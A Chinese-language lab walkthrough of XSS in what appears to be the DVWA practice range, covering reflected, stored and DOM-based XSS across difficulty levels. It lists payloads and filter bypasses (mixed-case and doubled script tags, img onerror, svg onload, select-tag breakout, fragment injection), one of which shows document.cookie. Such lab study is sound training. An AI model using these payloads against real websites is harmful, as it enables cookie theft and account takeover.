目录
XSS(跨站脚本攻击)
payload
<script>alert("xss success!")</script>
<script>alert(document.cookie)</script> 弹窗cookie
<Script>alert("xss success!")</script> 大小写混淆绕过<script>标签限制
<s<script>cript>alert("xss success!")</sc<script>ript> 双写<script>标签绕过
<iframe src="https://www.baidu.com" name="xss" width="1000px height="1500px"></iframe>
使用iframe标签嵌入网页
<img src=1 οnerrοr=alert("xsssuccess!")> 利用图片报错信息
<svg οnlοad=alert("xsssuccess!")> 利用svg标签 onload
#<script>alert("xss success!")</script> 利用注释绕过限制
xss</select><img src=1 οnerrοr=alert("xsssuccess!")> 闭合标签绕过限制
1、反射型XSS
(1)low
1、进入靶场,找到XSS Reflected,级别调到low级别
2、查看源代码发现没有任何过滤和防护措施,可以直接上payload
3、<script>alert("xss success!")</script>
4、<script>alert(document.cookie)</script>
(2)Medium
1、使用弹框payload进行XSS,发现代码输出到屏幕上,并没有执行
2、查看源代码,发现代码把<script>标签过滤了
3、大写<Script>标签进行绕过,<Script>alert("xss success!")</script>
4、成功进行XSS
5、也可以使用双写script标签的方法,绕过限制 <s<script>cript>alert("xss success!")</sc<script>ript>
(3)High
1、使用常规payload进行XSS,<script>alert("xss success!")</script>,没有成功,只显示了一个>
2、使用大小写绕过,<Script>alert("xss success!")</script>,结果一样
3、查看源代码,发现是将script标签中的字母全部替换成了空,script标签已经无法使用了
preg_replace 函数执行一个正则表达式的搜索和替换。
4、无法使用script标签就使用其他标签进行,使用iframe嵌入网页
<iframe src="https://www.baidu.com" name="xss" width="1000px height="1500px"></iframe>
可以发现代码已经执行,这里只不过被firefox给拦截了
5、使用img标签,利用图片报错信息进行XSS,<img src=1 οnerrοr=alert("xsssuccess!")>,这个payload中的提示语不能有空格
6、使用svg标签 <svg οnlοad=alert("xsssuccess!")>
impossible
通过多层验证和过滤不存在xss
2、存储型XSS
payload
(1)low
1、先测试一下
2、上payload,发现第一个提交框有长度限制,把长度值改的大一些
3、继续使用payload,<script>alert("xss success!")</script>
4、成功XSS
5、测试第二个提交框是否存在xss
6、成功xss
7、从其他页面在切换到此页面的时候,仍然会弹出xss弹窗,这就是存储型的xss具有持久性,如果不清楚数据库中的代码这个xss攻击将会一直存在
(2)medium
1、正常注入xss代码,发现代码被输出
2、查看源代码,发现message字段不存在注入,而name字段只是过滤了<script>标签
3、利用大小写混淆绕过限制,或者双写script标签
<Script>alert("xss success!")</script>
<s<script>cript>alert("xss success!")</sc<script>ript>
(3)high
1、正常注入是肯定不行了,直接查看源代码,发现只能从name字段注入,而且不能使用<script>标签,这时就想着使用<iframe> <img><svg>等标签
2、使用img标签
<img src=1 οnerrοr=alert("xsssuccess")>
3、使用iframe标签
<iframe src="https://www.baidu.com" name="xss" width="1000px height="1500px"></iframe>
(4)impossible
1、调到impossible级别后发现即使是存储型的xss也不再存在前面几个级别的弹窗,说明无注入点
3、DOM型xss
DOM(Document Object Model文档对象模型),DOM型xss是一种特殊类型的反射型xss,只不过它不用与服务端交互,它发生在客户端数据处理过程中。
(1)low
1、查看源码,发现无任何防护、过滤措施,直接在url中注入代码
2、<script>alert("xss success!")</script>XSS成功
(2)medium
1、直接注入js代码,没有任何反应
2、查看源代码,使用了stripos过滤<script,且不区分大小写,
3、无论是双写还是大小写都没有用了,查看一下前端代码,发现使用的是<select>和<option>标签
4、可以利用标签闭合,在接上payload来执行xss
(3)high
1、查看源码
2、使用注释绕过后端代码,不经过服务器而是直接浏览器执行注释的内容
#<script>alert("xss success!")</script>
(4)impossible
查看源码,不需要任何防护保护在客户端